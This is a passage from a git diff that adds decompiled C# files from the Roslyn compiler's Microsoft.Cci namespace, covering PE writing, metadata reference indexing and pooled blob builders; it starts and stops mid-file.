s_calculateChecksumMethod = (from m in typeof(PEBuilder).GetRuntimeMethods() + where m.Name == "CalculateChecksum" && m.GetParameters().Length == 2 + select m).Single(); + } + return (uint)s_calculateChecksumMethod.Invoke(null, new object[2] { peBlob, checksumBlob }); + } + + private static void PatchModuleVersionIds(Blob guidFixup, Blob guidSectionFixup, Blob stringFixup, Guid mvid) + { + if (!guidFixup.IsDefault) + { + new BlobWriter(guidFixup).WriteGuid(mvid); + } + if (!guidSectionFixup.IsDefault) + { + new BlobWriter(guidSectionFixup).WriteGuid(mvid); + } + if (!stringFixup.IsDefault) + { + new BlobWriter(stringFixup).WriteUserString(mvid.ToString()); + } + } + + private static string PadPdbPath(string path) + { + return path + new string('\0', Math.Max(0, 260 - Encoding.UTF8.GetByteCount(path) - 1)); + } + + private static ResourceSectionBuilder CreateNativeResourceSectionSerializer(CommonPEModuleBuilder module) + { + ResourceSection win32ResourceSection = module.Win32ResourceSection; + if (win32ResourceSection != null) + { + return new ResourceSectionBuilderFromObj(win32ResourceSection); + } + IEnumerable win32Resources = module.Win32Resources; + if (win32Resources != null && win32Resources.Any()) + { + return new ResourceSectionBuilderFromResources(win32Resources); + } + Stream rawWin32Resources = module.RawWin32Resources; + if (rawWin32Resources != null) + { + return new ResourceSectionBuilderFromRaw(rawWin32Resources); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PeWritingException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PeWritingException.cs new file mode 100644 index 0000000..25acf5f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PeWritingException.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.Cci; + +internal sealed class PeWritingException : Exception +{ + public PeWritingException(Exception inner) + : base(inner.Message, inner) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PlatformType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PlatformType.cs new file mode 100644 index 0000000..0562477 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PlatformType.cs @@ -0,0 +1,12 @@ +namespace Microsoft.Cci; + +internal enum PlatformType +{ + SystemObject = 1, + SystemDecimal = 17, + SystemTypedReference = 36, + SystemType = 61, + SystemInt32 = 13, + SystemVoid = 6, + SystemString = 20 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PooledBlobBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PooledBlobBuilder.cs new file mode 100644 index 0000000..51f72be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PooledBlobBuilder.cs @@ -0,0 +1,48 @@ +using System; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.Cci; + +internal sealed class PooledBlobBuilder : BlobBuilder, IDisposable +{ + private const int PoolSize = 128; + + private const int ChunkSize = 1024; + + private static readonly ObjectPool s_chunkPool = new ObjectPool(() => new PooledBlobBuilder(1024), 128); + + private PooledBlobBuilder(int size) + : base(size) + { + } + + public static PooledBlobBuilder GetInstance() + { + return s_chunkPool.Allocate(); + } + + protected override BlobBuilder AllocateChunk(int minimalSize) + { + if (minimalSize <= 1024) + { + return s_chunkPool.Allocate(); + } + return new BlobBuilder(minimalSize); + } + + protected override void FreeChunk() + { + s_chunkPool.Free(this); + } + + public new void Free() + { + base.Free(); + } + + void IDisposable.Dispose() + { + Free(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PrimitiveTypeCode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PrimitiveTypeCode.cs new file mode 100644 index 0000000..c7fa894 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/PrimitiveTypeCode.cs @@ -0,0 +1,26 @@ +namespace Microsoft.Cci; + +internal enum PrimitiveTypeCode +{ + Boolean, + Char, + Int8, + Float32, + Float64, + Int16, + Int32, + Int64, + IntPtr, + Pointer, + Reference, + String, + UInt8, + UInt16, + UInt32, + UInt64, + UIntPtr, + Void, + NotPrimitive, + FunctionPointer, + Invalid +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReferenceIndexer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReferenceIndexer.cs new file mode 100644 index 0000000..4016935 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReferenceIndexer.cs @@ -0,0 +1,153 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal abstract class ReferenceIndexer : ReferenceIndexerBase +{ + protected readonly MetadataWriter metadataWriter; + + private readonly HashSet _alreadySeenScopes = new HashSet(); + + internal ReferenceIndexer(MetadataWriter metadataWriter) + : base(metadataWriter.Context) + { + this.metadataWriter = metadataWriter; + } + + public override void Visit(CommonPEModuleBuilder module) + { + Visit(module.GetSourceAssemblyAttributes(Context.IsRefAssembly)); + Visit(module.GetSourceAssemblySecurityAttributes()); + Visit(module.GetAssemblyReferences(Context)); + Visit(module.GetSourceModuleAttributes()); + Visit(module.GetTopLevelTypeDefinitions(Context)); + ImmutableArray.Enumerator enumerator = module.GetExportedTypes(Context.Diagnostics).GetEnumerator(); + while (enumerator.MoveNext()) + { + VisitExportedType(enumerator.Current.Type); + } + Visit(module.GetResources(Context)); + VisitImports(module.GetImports()); + Visit(module.GetFiles(Context)); + } + + private void VisitExportedType(ITypeReference exportedType) + { + IUnitReference definingUnitReference = MetadataWriter.GetDefiningUnitReference(exportedType, Context); + if (definingUnitReference is IAssemblyReference assemblyReference) + { + Visit(assemblyReference); + return; + } + IAssemblyReference containingAssembly = ((IModuleReference)definingUnitReference).GetContainingAssembly(Context); + if (containingAssembly != null && containingAssembly != Context.Module.GetContainingAssembly(Context)) + { + Visit(containingAssembly); + } + } + + public void VisitMethodBodyReference(IReference reference) + { + if (reference is ITypeReference typeReference) + { + typeReferenceNeedsToken = true; + Visit(typeReference); + } + else if (reference is IFieldReference fieldReference) + { + if (fieldReference.IsContextualNamedEntity) + { + ((IContextualNamedEntity)fieldReference).AssociateWithMetadataWriter(metadataWriter); + } + Visit(fieldReference); + } + else if (reference is IMethodReference methodReference) + { + Visit(methodReference); + } + } + + protected override void RecordAssemblyReference(IAssemblyReference assemblyReference) + { + metadataWriter.GetAssemblyReferenceHandle(assemblyReference); + } + + protected override void ProcessMethodBody(IMethodDefinition method) + { + if (!method.HasBody() || metadataWriter.MetadataOnly) + { + return; + } + IMethodBody body = method.GetBody(Context); + if (body != null) + { + Visit(body); + IImportScope importScope = body.ImportScope; + while (importScope != null && _alreadySeenScopes.Add(importScope)) + { + VisitImports(importScope.GetUsedNamespaces(Context)); + importScope = importScope.Parent; + } + } + else if (!metadataWriter.MetadataOnly) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ReferenceIndexer.cs", 128); + } + } + + private void VisitImports(ImmutableArray imports) + { + ImmutableArray.Enumerator enumerator = imports.GetEnumerator(); + while (enumerator.MoveNext()) + { + UsedNamespaceOrType current = enumerator.Current; + if (current.TargetAssemblyOpt != null) + { + Visit(current.TargetAssemblyOpt); + } + if (current.TargetTypeOpt != null) + { + typeReferenceNeedsToken = true; + Visit(current.TargetTypeOpt); + } + } + } + + protected override void RecordTypeReference(ITypeReference typeReference) + { + metadataWriter.GetTypeHandle(typeReference); + } + + protected override void RecordTypeMemberReference(ITypeMemberReference typeMemberReference) + { + metadataWriter.GetMemberReferenceHandle(typeMemberReference); + } + + protected override void RecordFileReference(IFileReference fileReference) + { + metadataWriter.GetAssemblyFileHandle(fileReference); + } + + protected override void ReserveMethodToken(IMethodReference methodReference) + { + metadataWriter.GetMethodHandle(methodReference); + } + + protected override void ReserveFieldToken(IFieldReference fieldReference) + { + metadataWriter.GetFieldHandle(fieldReference); + } + + protected override void RecordModuleReference(IModuleReference moduleReference) + { + metadataWriter.GetModuleReferenceHandle(moduleReference.Name); + } + + public override void Visit(IPlatformInvokeInformation platformInvokeInformation) + { + metadataWriter.GetModuleReferenceHandle(platformInvokeInformation.ModuleName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReferenceIndexerBase.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReferenceIndexerBase.cs new file mode 100644 index 0000000..3f2e898 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReferenceIndexerBase.cs @@ -0,0 +1,355 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal abstract class ReferenceIndexerBase : MetadataVisitor +{ + private readonly HashSet _alreadySeen = new HashSet(); + + private readonly HashSet _alreadyHasToken = new HashSet(); + + protected bool typeReferenceNeedsToken; + + internal ReferenceIndexerBase(EmitContext context) + : base(context) + { + } + + public override void Visit(IAssemblyReference assemblyReference) + { + if (assemblyReference != Context.Module.GetContainingAssembly(Context)) + { + RecordAssemblyReference(assemblyReference); + } + } + + protected abstract void RecordAssemblyReference(IAssemblyReference assemblyReference); + + public override void Visit(ICustomModifier customModifier) + { + typeReferenceNeedsToken = true; + Visit(customModifier.GetModifier(Context)); + } + + public override void Visit(IEventDefinition eventDefinition) + { + typeReferenceNeedsToken = true; + Visit(eventDefinition.GetType(Context)); + } + + public override void Visit(IFieldReference fieldReference) + { + if (_alreadySeen.Add(new IReferenceOrISignature(fieldReference))) + { + IUnitReference definingUnitReference = MetadataWriter.GetDefiningUnitReference(fieldReference.GetContainingType(Context), Context); + if (definingUnitReference == null || definingUnitReference != Context.Module) + { + Visit(fieldReference.RefCustomModifiers); + Visit((ITypeMemberReference)fieldReference); + Visit(fieldReference.GetType(Context)); + ReserveFieldToken(fieldReference); + } + } + } + + protected abstract void ReserveFieldToken(IFieldReference fieldReference); + + public override void Visit(IFileReference fileReference) + { + RecordFileReference(fileReference); + } + + protected abstract void RecordFileReference(IFileReference fileReference); + + public override void Visit(IGenericMethodInstanceReference genericMethodInstanceReference) + { + Visit(genericMethodInstanceReference.GetGenericArguments(Context)); + Visit(genericMethodInstanceReference.GetGenericMethod(Context)); + } + + public override void Visit(IGenericParameter genericParameter) + { + Visit(genericParameter.GetAttributes(Context)); + VisitTypeReferencesThatNeedTokens(genericParameter.GetConstraints(Context)); + } + + public override void Visit(IGenericTypeInstanceReference genericTypeInstanceReference) + { + INestedTypeReference asNestedTypeReference = genericTypeInstanceReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + ITypeReference containingType = asNestedTypeReference.GetContainingType(Context); + if (containingType.AsGenericTypeInstanceReference != null || containingType.AsSpecializedNestedTypeReference != null) + { + Visit(asNestedTypeReference.GetContainingType(Context)); + } + } + Visit(genericTypeInstanceReference.GetGenericType(Context)); + Visit(genericTypeInstanceReference.GetGenericArguments(Context)); + } + + public override void Visit(IMarshallingInformation marshallingInformation) + { + } + + public override void Visit(IMethodDefinition method) + { + base.Visit(method); + ProcessMethodBody(method); + } + + protected abstract void ProcessMethodBody(IMethodDefinition method); + + public override void Visit(IMethodReference methodReference) + { + IGenericMethodInstanceReference asGenericMethodInstanceReference = methodReference.AsGenericMethodInstanceReference; + if (asGenericMethodInstanceReference != null) + { + Visit(asGenericMethodInstanceReference); + } + else + { + if (!_alreadySeen.Add(new IReferenceOrISignature(methodReference))) + { + return; + } + IUnitReference definingUnitReference = MetadataWriter.GetDefiningUnitReference(methodReference.GetContainingType(Context), Context); + if (definingUnitReference == null || definingUnitReference != Context.Module || methodReference.AcceptsExtraArguments) + { + Visit((ITypeMemberReference)methodReference); + VisitSignature(methodReference.AsSpecializedMethodReference?.UnspecializedVersion ?? methodReference); + if (methodReference.AcceptsExtraArguments) + { + Visit(methodReference.ExtraParameters); + } + ReserveMethodToken(methodReference); + } + } + } + + public void VisitSignature(ISignature signature) + { + Visit(signature.GetType(Context)); + Visit(signature.GetParameters(Context)); + Visit(signature.RefCustomModifiers); + Visit(signature.ReturnValueCustomModifiers); + } + + protected abstract void ReserveMethodToken(IMethodReference methodReference); + + public abstract override void Visit(CommonPEModuleBuilder module); + + public override void Visit(IModuleReference moduleReference) + { + if (moduleReference != Context.Module) + { + RecordModuleReference(moduleReference); + } + } + + protected abstract void RecordModuleReference(IModuleReference moduleReference); + + public abstract override void Visit(IPlatformInvokeInformation platformInvokeInformation); + + public override void Visit(INamespaceTypeReference namespaceTypeReference) + { + if (!typeReferenceNeedsToken && namespaceTypeReference.TypeCode != PrimitiveTypeCode.NotPrimitive) + { + return; + } + RecordTypeReference(namespaceTypeReference); + IUnitReference unit = namespaceTypeReference.GetUnit(Context); + if (unit is IAssemblyReference assemblyReference) + { + Visit(assemblyReference); + } + else if (unit is IModuleReference moduleReference) + { + IAssemblyReference containingAssembly = moduleReference.GetContainingAssembly(Context); + if (containingAssembly != null && containingAssembly != Context.Module.GetContainingAssembly(Context)) + { + Visit(containingAssembly); + } + else + { + Visit(moduleReference); + } + } + } + + protected abstract void RecordTypeReference(ITypeReference typeReference); + + public override void Visit(INestedTypeReference nestedTypeReference) + { + if (typeReferenceNeedsToken || nestedTypeReference.AsSpecializedNestedTypeReference == null) + { + RecordTypeReference(nestedTypeReference); + } + } + + public override void Visit(IPropertyDefinition propertyDefinition) + { + Visit(propertyDefinition.RefCustomModifiers); + Visit(propertyDefinition.ReturnValueCustomModifiers); + Visit(propertyDefinition.GetType(Context)); + Visit(propertyDefinition.Parameters); + } + + public override void Visit(ManagedResource resourceReference) + { + Visit(resourceReference.Attributes); + IFileReference externalFile = resourceReference.ExternalFile; + if (externalFile != null) + { + Visit(externalFile); + } + } + + public override void Visit(SecurityAttribute securityAttribute) + { + Visit(securityAttribute.Attribute); + } + + public void VisitTypeDefinitionNoMembers(ITypeDefinition typeDefinition) + { + Visit(typeDefinition.GetAttributes(Context)); + ITypeReference baseClass = typeDefinition.GetBaseClass(Context); + if (baseClass != null) + { + typeReferenceNeedsToken = true; + Visit(baseClass); + } + Visit(typeDefinition.GetExplicitImplementationOverrides(Context)); + if (typeDefinition.HasDeclarativeSecurity) + { + Visit(typeDefinition.SecurityAttributes); + } + VisitTypeReferencesThatNeedTokens(typeDefinition.Interfaces(Context)); + if (typeDefinition.IsGeneric) + { + Visit(typeDefinition.GenericParameters); + } + } + + public override void Visit(ITypeDefinition typeDefinition) + { + VisitTypeDefinitionNoMembers(typeDefinition); + Visit(typeDefinition.GetEvents(Context)); + Visit(typeDefinition.GetFields(Context)); + Visit(typeDefinition.GetMethods(Context)); + VisitNestedTypes(typeDefinition.GetNestedTypes(Context)); + Visit(typeDefinition.GetProperties(Context)); + } + + public void VisitTypeReferencesThatNeedTokens(IEnumerable refsWithAttributes) + { + foreach (TypeReferenceWithAttributes refsWithAttribute in refsWithAttributes) + { + Visit(refsWithAttribute.Attributes); + VisitTypeReferencesThatNeedTokens(refsWithAttribute.TypeRef); + } + } + + private void VisitTypeReferencesThatNeedTokens(ITypeReference typeReference) + { + typeReferenceNeedsToken = true; + Visit(typeReference); + } + + public override void Visit(ITypeMemberReference typeMemberReference) + { + RecordTypeMemberReference(typeMemberReference); + typeReferenceNeedsToken = true; + Visit(typeMemberReference.GetContainingType(Context)); + } + + protected abstract void RecordTypeMemberReference(ITypeMemberReference typeMemberReference); + + public override void Visit(IArrayTypeReference arrayTypeReference) + { + ITypeReference elementType = arrayTypeReference.GetElementType(Context); + while (true) + { + if (!VisitTypeReference(elementType)) + { + return; + } + if (!(elementType is IArrayTypeReference)) + { + break; + } + elementType = ((IArrayTypeReference)elementType).GetElementType(Context); + } + DispatchAsReference(elementType); + } + + public override void Visit(IPointerTypeReference pointerTypeReference) + { + ITypeReference targetType = pointerTypeReference.GetTargetType(Context); + while (true) + { + if (!VisitTypeReference(targetType)) + { + return; + } + if (!(targetType is IPointerTypeReference)) + { + break; + } + targetType = ((IPointerTypeReference)targetType).GetTargetType(Context); + } + DispatchAsReference(targetType); + } + + public override void Visit(ITypeReference typeReference) + { + if (VisitTypeReference(typeReference)) + { + DispatchAsReference(typeReference); + } + } + + private bool VisitTypeReference(ITypeReference typeReference) + { + if (!_alreadySeen.Add(new IReferenceOrISignature(typeReference))) + { + if (!typeReferenceNeedsToken) + { + return false; + } + typeReferenceNeedsToken = false; + if (!_alreadyHasToken.Add(new IReferenceOrISignature(typeReference))) + { + return false; + } + RecordTypeReference(typeReference); + return false; + } + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (typeReferenceNeedsToken || asNestedTypeReference != null || (typeReference.TypeCode == PrimitiveTypeCode.NotPrimitive && typeReference.AsNamespaceTypeReference != null)) + { + ISpecializedNestedTypeReference specializedNestedTypeReference = asNestedTypeReference?.AsSpecializedNestedTypeReference; + if (specializedNestedTypeReference != null) + { + INestedTypeReference unspecializedVersion = specializedNestedTypeReference.GetUnspecializedVersion(Context); + if (_alreadyHasToken.Add(new IReferenceOrISignature(unspecializedVersion))) + { + RecordTypeReference(unspecializedVersion); + } + } + if (typeReferenceNeedsToken && _alreadyHasToken.Add(new IReferenceOrISignature(typeReference))) + { + RecordTypeReference(typeReference); + } + if (asNestedTypeReference != null) + { + typeReferenceNeedsToken = typeReference.AsSpecializedNestedTypeReference == null; + Visit(asNestedTypeReference.GetContainingType(Context)); + } + } + typeReferenceNeedsToken = false; + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ResourceSection.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ResourceSection.cs new file mode 100644 index 0000000..a39f9e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ResourceSection.cs @@ -0,0 +1,14 @@ +namespace Microsoft.Cci; + +internal class ResourceSection +{ + internal readonly byte[] SectionBytes; + + internal readonly uint[] Relocations; + + internal ResourceSection(byte[] sectionBytes, uint[] relocations) + { + SectionBytes = sectionBytes; + Relocations = relocations; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReturnValueParameter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReturnValueParameter.cs new file mode 100644 index 0000000..3eafdfd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ReturnValueParameter.cs @@ -0,0 +1,85 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal class ReturnValueParameter : IParameterDefinition, IDefinition, IReference, INamedEntity, IParameterTypeInformation, IParameterListEntry +{ + private readonly IMethodDefinition _containingMethod; + + public ISignature ContainingSignature => _containingMethod; + + public MetadataConstant? Constant => null; + + public ImmutableArray RefCustomModifiers => _containingMethod.RefCustomModifiers; + + public ImmutableArray CustomModifiers => _containingMethod.ReturnValueCustomModifiers; + + public bool HasDefaultValue => false; + + public ushort Index => 0; + + public bool IsIn => false; + + public bool IsByReference => _containingMethod.ReturnValueIsByRef; + + public bool IsMarshalledExplicitly => _containingMethod.ReturnValueIsMarshalledExplicitly; + + public bool IsOptional => false; + + public bool IsOut => false; + + public IMarshallingInformation MarshallingInformation => _containingMethod.ReturnValueMarshallingInformation; + + public ImmutableArray MarshallingDescriptor => _containingMethod.ReturnValueMarshallingDescriptor; + + public string Name => string.Empty; + + internal ReturnValueParameter(IMethodDefinition containingMethod) + { + _containingMethod = containingMethod; + } + + public IEnumerable GetAttributes(EmitContext context) + { + return _containingMethod.GetReturnValueAttributes(context); + } + + public MetadataConstant? GetDefaultValue(EmitContext context) + { + return null; + } + + public void Dispatch(MetadataVisitor visitor) + { + } + + public ITypeReference GetType(EmitContext context) + { + return _containingMethod.GetType(context); + } + + public IDefinition AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ReturnValueParameter.cs", 120); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ReturnValueParameter.cs", 126); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/RootModuleStaticConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/RootModuleStaticConstructor.cs new file mode 100644 index 0000000..b8a06f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/RootModuleStaticConstructor.cs @@ -0,0 +1,202 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Debugging; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class RootModuleStaticConstructor : IMethodDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IMethodReference, ISignature, IMethodBody +{ + public ITypeDefinition ContainingTypeDefinition { get; } + + public string Name => ".cctor"; + + public IEnumerable GenericParameters => SpecializedCollections.EmptyEnumerable(); + + public bool IsImplicitlyDeclared => true; + + public bool HasDeclarativeSecurity => false; + + public bool IsAbstract => false; + + public bool IsAccessCheckedOnOverride => false; + + public bool IsConstructor => false; + + public bool IsExternal => false; + + public bool IsHiddenBySignature => true; + + public bool IsNewSlot => false; + + public bool IsPlatformInvoke => false; + + public bool IsRuntimeSpecial => true; + + public bool IsSealed => false; + + public bool IsSpecialName => true; + + public bool IsStatic => true; + + public bool IsVirtual => false; + + public ImmutableArray Parameters => ImmutableArray.Empty; + + public IPlatformInvokeInformation PlatformInvokeData => null; + + public bool RequiresSecurityObject => false; + + public bool ReturnValueIsMarshalledExplicitly => false; + + public IMarshallingInformation ReturnValueMarshallingInformation => null; + + public ImmutableArray ReturnValueMarshallingDescriptor => default(ImmutableArray); + + public IEnumerable SecurityAttributes => null; + + public INamespace ContainingNamespace => null; + + public TypeMemberVisibility Visibility => TypeMemberVisibility.Private; + + public bool AcceptsExtraArguments => false; + + public ushort GenericParameterCount => 0; + + public bool IsGeneric => false; + + public ImmutableArray ExtraParameters => ImmutableArray.Empty; + + public IGenericMethodInstanceReference AsGenericMethodInstanceReference => null; + + public ISpecializedMethodReference AsSpecializedMethodReference => null; + + public CallingConvention CallingConvention => CallingConvention.Default; + + public ushort ParameterCount => 0; + + public ImmutableArray ReturnValueCustomModifiers => ImmutableArray.Empty; + + public ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public bool ReturnValueIsByRef => false; + + public ushort MaxStack => 0; + + public ImmutableArray IL { get; } + + public IMethodDefinition MethodDefinition => this; + + public ImmutableArray ExceptionRegions => ImmutableArray.Empty; + + public bool AreLocalsZeroed => false; + + public bool HasStackalloc => false; + + public ImmutableArray LocalVariables => ImmutableArray.Empty; + + public StateMachineMoveNextBodyDebugInfo MoveNextBodyInfo => null; + + public ImmutableArray SequencePoints => ImmutableArray.Empty; + + public bool HasDynamicLocalVariables => false; + + public ImmutableArray LocalScopes => ImmutableArray.Empty; + + public IImportScope ImportScope => null; + + public DebugId MethodId => default(DebugId); + + public ImmutableArray StateMachineHoistedLocalScopes => ImmutableArray.Empty; + + public string StateMachineTypeName => null; + + public ImmutableArray StateMachineHoistedLocalSlots => ImmutableArray.Empty; + + public ImmutableArray StateMachineAwaiterSlots => ImmutableArray.Empty; + + public ImmutableArray ClosureDebugInfo => ImmutableArray.Empty; + + public ImmutableArray LambdaDebugInfo => ImmutableArray.Empty; + + public StateMachineStatesDebugInfo StateMachineStatesDebugInfo => default(StateMachineStatesDebugInfo); + + public ImmutableArray CodeCoverageSpans => ImmutableArray.Empty; + + public bool IsPrimaryConstructor => false; + + public RootModuleStaticConstructor(ITypeDefinition containingTypeDefinition, ImmutableArray il) + { + ContainingTypeDefinition = containingTypeDefinition; + IL = il; + } + + public IMethodBody GetBody(EmitContext context) + { + return this; + } + + public IDefinition AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + public void Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IMethodDefinition)this); + } + + public IEnumerable GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public ITypeReference GetContainingType(EmitContext context) + { + return ContainingTypeDefinition; + } + + public MethodImplAttributes GetImplementationAttributes(EmitContext context) + { + return MethodImplAttributes.IL; + } + + public ImmutableArray GetParameters(EmitContext context) + { + return ImmutableArray.Empty; + } + + public IMethodDefinition GetResolvedMethod(EmitContext context) + { + return this; + } + + public IEnumerable GetReturnValueAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public ITypeReference GetType(EmitContext context) + { + return context.Module.GetPlatformType(PlatformType.SystemVoid, context); + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleStaticConstructor.cs", 173); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleStaticConstructor.cs", 179); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/RootModuleType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/RootModuleType.cs new file mode 100644 index 0000000..d754204 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/RootModuleType.cs @@ -0,0 +1,231 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal class RootModuleType : INamespaceTypeDefinition, INamedTypeDefinition, ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity, INamespaceTypeReference +{ + private readonly IUnit _unit; + + private IReadOnlyList? _methods; + + public TypeDefinitionHandle TypeDef => default(TypeDefinitionHandle); + + public ITypeDefinition ResolvedType => this; + + public bool MangleName => false; + + public string? AssociatedFileIdentifier => null; + + public string Name => ""; + + public ushort Alignment => 0; + + public bool HasDeclarativeSecurity => false; + + public bool IsAbstract => false; + + public bool IsBeforeFieldInit => false; + + public bool IsComObject => false; + + public bool IsGeneric => false; + + public bool IsInterface => false; + + public bool IsDelegate => false; + + public bool IsRuntimeSpecial => false; + + public bool IsSerializable => false; + + public bool IsSpecialName => false; + + public bool IsWindowsRuntimeImport => false; + + public bool IsSealed => false; + + public LayoutKind Layout => LayoutKind.Auto; + + public uint SizeOf => 0u; + + public CharSet StringFormat => CharSet.Ansi; + + public bool IsPublic => false; + + public bool IsNested => false; + + IEnumerable ITypeDefinition.GenericParameters + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 198); + } + } + + ushort ITypeDefinition.GenericParameterCount => 0; + + IEnumerable ITypeDefinition.SecurityAttributes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 211); + } + } + + bool ITypeReference.IsEnum + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 221); + } + } + + bool ITypeReference.IsValueType + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 226); + } + } + + PrimitiveTypeCode ITypeReference.TypeCode + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 236); + } + } + + ushort INamedTypeReference.GenericParameterCount + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/RootModuleType.cs", 241); + } + } + + string INamespaceTypeReference.NamespaceName => string.Empty; + + IGenericMethodParameterReference? ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference? ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference? ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference ITypeReference.AsNamespaceTypeReference => this; + + INestedTypeReference? ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference? ITypeReference.AsSpecializedNestedTypeReference => null; + + public RootModuleType(IUnit unit) + { + _unit = unit; + } + + public void SetStaticConstructorBody(ImmutableArray il) + { + _methods = SpecializedCollections.SingletonReadOnlyList(new RootModuleStaticConstructor(this, il)); + } + + public IEnumerable GetMethods(EmitContext context) + { + return _methods ?? (_methods = SpecializedCollections.EmptyReadOnlyList()); + } + + public IEnumerable GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public ITypeReference? GetBaseClass(EmitContext context) + { + return null; + } + + public IEnumerable GetEvents(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetExplicitImplementationOverrides(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetFields(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable Interfaces(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetNestedTypes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + public IEnumerable GetProperties(EmitContext context) + { + return 